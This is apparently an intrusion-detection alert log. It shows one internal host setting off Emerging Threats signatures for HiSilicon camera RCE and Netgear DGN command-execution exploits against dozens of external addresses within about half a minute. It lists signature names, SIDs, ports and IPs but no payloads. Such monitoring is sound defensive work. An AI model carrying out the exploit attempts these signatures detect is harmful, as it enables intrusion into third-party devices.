ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.0.189.219

Timestamp:	05/16/24-16:38:50.078889
SID:	2030488
Source Port:	48726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.215.3.135

Timestamp:	05/16/24-16:38:57.451868
SID:	2030488
Source Port:	39978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 24.143.3.35

Timestamp:	05/16/24-16:39:05.714856
SID:	2030487
Source Port:	38404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.215.3.135

Timestamp:	05/16/24-16:38:57.451868
SID:	2030487
Source Port:	39978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.109.179.90

Timestamp:	05/16/24-16:38:53.071126
SID:	2030488
Source Port:	43994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 24.143.3.35

Timestamp:	05/16/24-16:39:05.714856
SID:	2030488
Source Port:	38404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.131.240.112

Timestamp:	05/16/24-16:38:50.004286
SID:	2030488
Source Port:	54790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.131.240.112

Timestamp:	05/16/24-16:38:50.004286
SID:	2030487
Source Port:	54790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.109.179.90

Timestamp:	05/16/24-16:38:53.071126
SID:	2030487
Source Port:	43994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.47.196.133

Timestamp:	05/16/24-16:39:14.492354
SID:	2030487
Source Port:	39936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.47.196.133

Timestamp:	05/16/24-16:39:14.492354
SID:	2030488
Source Port:	39936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.119.69.216

Timestamp:	05/16/24-16:39:02.765349
SID:	2030487
Source Port:	55500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.97.227.194

Timestamp:	05/16/24-16:39:16.581452
SID:	2030487
Source Port:	52298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.119.69.216

Timestamp:	05/16/24-16:39:02.765349
SID:	2030488
Source Port:	55500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.97.227.194

Timestamp:	05/16/24-16:39:16.581452
SID:	2030488
Source Port:	52298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.40.172.242

Timestamp:	05/16/24-16:39:16.608320
SID:	2030487
Source Port:	40858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.183.175.185

Timestamp:	05/16/24-16:39:12.301151
SID:	2030488
Source Port:	50406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.40.172.242

Timestamp:	05/16/24-16:39:16.608320
SID:	2030488
Source Port:	40858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.183.175.185

Timestamp:	05/16/24-16:39:12.301151
SID:	2030487
Source Port:	50406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.176.27.11

Timestamp:	05/16/24-16:39:16.580393
SID:	2030488
Source Port:	40858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 13.76.248.35

Timestamp:	05/16/24-16:39:09.592094
SID:	2034576
Source Port:	52664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.176.27.11

Timestamp:	05/16/24-16:39:16.580393
SID:	2030487
Source Port:	40858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.205.112.208

Timestamp:	05/16/24-16:39:02.725595
SID:	2030488
Source Port:	48672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.205.112.208

Timestamp:	05/16/24-16:39:02.725595
SID:	2030487
Source Port:	48672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.38.166.122

Timestamp:	05/16/24-16:38:50.064129
SID:	2030487
Source Port:	56834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.38.166.122

Timestamp:	05/16/24-16:38:50.064129
SID:	2030488
Source Port:	56834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.154.204.88

Timestamp:	05/16/24-16:38:50.004125
SID:	2030488
Source Port:	42948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.152.149.183

Timestamp:	05/16/24-16:39:02.726911
SID:	2030488
Source Port:	35534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.154.204.88

Timestamp:	05/16/24-16:38:50.004125
SID:	2030487
Source Port:	42948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 160.158.141.123

Timestamp:	05/16/24-16:39:08.127909
SID:	2030488
Source Port:	60242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.152.149.183

Timestamp:	05/16/24-16:39:02.726911
SID:	2030487
Source Port:	35534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 160.158.141.123

Timestamp:	05/16/24-16:39:08.127909
SID:	2030487
Source Port:	60242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.79.248.104

Timestamp:	05/16/24-16:39:08.124587
SID:	2030488
Source Port:	59518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.79.248.104

Timestamp:	05/16/24-16:39:08.124587
SID:	2030487
Source Port:	59518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.251.66.42

Timestamp:	05/16/24-16:39:16.605678
SID:	2030487
Source Port:	37082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.182.238.99

Timestamp:	05/16/24-16:39:08.136409
SID:	2030488
Source Port:	33190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.251.66.42

Timestamp:	05/16/24-16:39:16.605678
SID:	2030488
Source Port:	37082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.253.125.114

Timestamp:	05/16/24-16:39:03.281220
SID:	2030488
Source Port:	52282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.15.184.161

Timestamp:	05/16/24-16:38:55.208969
SID:	2030488
Source Port:	37852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.15.184.161

Timestamp:	05/16/24-16:38:55.208969
SID:	2030487
Source Port:	37852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.60.53.184

Timestamp:	05/16/24-16:39:01.474345
SID:	2024916
Source Port:	52788
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.253.125.114

Timestamp:	05/16/24-16:39:03.281220
SID:	2030487
Source Port:	52282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.182.238.99

Timestamp:	05/16/24-16:39:08.136409
SID:	2030487
Source Port:	33190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.223.120.229

Timestamp:	05/16/24-16:38:57.304713
SID:	2030487
Source Port:	60990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.57.53.153

Timestamp:	05/16/24-16:39:12.400937
SID:	2030487
Source Port:	36814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.57.53.153

Timestamp:	05/16/24-16:39:12.400937
SID:	2030488
Source Port:	36814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.223.120.229

Timestamp:	05/16/24-16:38:57.304713
SID:	2030488
Source Port:	60990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.47.154.96

Timestamp:	05/16/24-16:39:14.507635
SID:	2030487
Source Port:	44922
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.47.154.96

Timestamp:	05/16/24-16:39:14.507635
SID:	2030488
Source Port:	44922
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.42.73.227

Timestamp:	05/16/24-16:38:57.408707
SID:	2030487
Source Port:	47692
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.42.73.227

Timestamp:	05/16/24-16:38:57.408707
SID:	2030488
Source Port:	47692
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 190.219.94.173

Timestamp:	05/16/24-16:38:57.446013
SID:	2030487
Source Port:	36512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.134.250.228

Timestamp:	05/16/24-16:39:12.406678
SID:	2030487
Source Port:	60030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 190.219.94.173

Timestamp:	05/16/24-16:38:57.446013
SID:	2030488
Source Port:	36512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.29.78.180

Timestamp:	05/16/24-16:39:12.402955
SID:	2030488
Source Port:	49358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.29.78.180

Timestamp:	05/16/24-16:39:12.402955
SID:	2030487
Source Port:	49358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.134.250.228

Timestamp:	05/16/24-16:39:12.406678
SID:	2030488
Source Port:	60030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.179.190.186

Timestamp:	05/16/24-16:38:53.065486
SID:	2030487
Source Port:	49938
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.179.190.186

Timestamp:	05/16/24-16:38:53.065486
SID:	2030488
Source Port:	49938
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.51.118.106

Timestamp:	05/16/24-16:39:02.767747
SID:	2030487
Source Port:	55574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.51.118.106

Timestamp:	05/16/24-16:39:02.767747
SID:	2030488
Source Port:	55574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.20.218.251

Timestamp:	05/16/24-16:39:16.604433
SID:	2030488
Source Port:	43640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.20.218.251

Timestamp:	05/16/24-16:39:16.604433
SID:	2030487
Source Port:	43640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 203.60.113.51

Timestamp:	05/16/24-16:38:53.410682
SID:	2034576
Source Port:	36694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 72.121.120.109

Timestamp:	05/16/24-16:39:13.656745
SID:	2029215
Source Port:	49390
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.20.72.205

Timestamp:	05/16/24-16:39:14.510067
SID:	2030488
Source Port:	48010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.138.108.1

Timestamp:	05/16/24-16:39:05.679569
SID:	2030488
Source Port:	37852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.20.72.205

Timestamp:	05/16/24-16:39:14.510067
SID:	2030487
Source Port:	48010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.155.20.9

Timestamp:	05/16/24-16:38:53.011473
SID:	2030488
Source Port:	48000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.155.20.9

Timestamp:	05/16/24-16:38:53.011473
SID:	2030487
Source Port:	48000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.138.108.1

Timestamp:	05/16/24-16:39:05.679569
SID:	2030487
Source Port:	37852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.145.155.181

Timestamp:	05/16/24-16:39:12.380628
SID:	2030488
Source Port:	44114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.145.155.181

Timestamp:	05/16/24-16:39:12.380628
SID:	2030487
Source Port:	44114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.24.153.88

Timestamp:	05/16/24-16:39:14.521663
SID:	2030487
Source Port:	35876
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.71.76.33

Timestamp:	05/16/24-16:39:16.604467
SID:	2030487
Source Port:	54406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.26.70.152

Timestamp:	05/16/24-16:39:12.382098
SID:	2030487
Source Port:	42328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.26.70.152

Timestamp:	05/16/24-16:39:12.382098
SID:	2030488
Source Port:	42328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.71.76.33

Timestamp:	05/16/24-16:39:16.604467
SID:	2030488
Source Port:	54406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.191.121.162

Timestamp:	05/16/24-16:38:53.100327
SID:	2030488
Source Port:	60196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.40.85.251

Timestamp:	05/16/24-16:39:05.676385
SID:	2030488
Source Port:	60226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.191.121.162

Timestamp:	05/16/24-16:38:53.100327
SID:	2030487
Source Port:	60196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.40.85.251

Timestamp:	05/16/24-16:39:05.676385
SID:	2030487
Source Port:	60226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.213.110.66

Timestamp:	05/16/24-16:39:08.146558
SID:	2030487
Source Port:	55130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.144.116.196

Timestamp:	05/16/24-16:39:12.298248
SID:	2030488
Source Port:	46340
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.213.110.66

Timestamp:	05/16/24-16:39:08.146558
SID:	2030488
Source Port:	55130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.144.116.196

Timestamp:	05/16/24-16:39:12.298248
SID:	2030487
Source Port:	46340
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.219.146.48

Timestamp:	05/16/24-16:39:05.693235
SID:	2030488
Source Port:	39680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.235.211.42

Timestamp:	05/16/24-16:39:08.041098
SID:	2030487
Source Port:	57440
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.235.211.42

Timestamp:	05/16/24-16:39:08.041098
SID:	2030488
Source Port:	57440
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.151.132.250

Timestamp:	05/16/24-16:38:57.429994
SID:	2030487
Source Port:	46378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.189.162.110

Timestamp:	05/16/24-16:39:16.581468
SID:	2030488
Source Port:	43758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.151.132.250

Timestamp:	05/16/24-16:38:57.429994
SID:	2030488
Source Port:	46378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.189.162.110

Timestamp:	05/16/24-16:39:16.581468
SID:	2030487
Source Port:	43758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.219.146.48

Timestamp:	05/16/24-16:39:05.693235
SID:	2030487
Source Port:	39680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.188.72.92

Timestamp:	05/16/24-16:38:55.196402
SID:	2030488
Source Port:	59366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.255.97.35

Timestamp:	05/16/24-16:39:14.532191
SID:	2030487
Source Port:	52148
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.255.97.35

Timestamp:	05/16/24-16:39:14.532191
SID:	2030488
Source Port:	52148
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.188.72.92

Timestamp:	05/16/24-16:38:55.196402
SID:	2030487
Source Port:	59366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.230.65.170

Timestamp:	05/16/24-16:39:12.295409
SID:	2030488
Source Port:	46416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

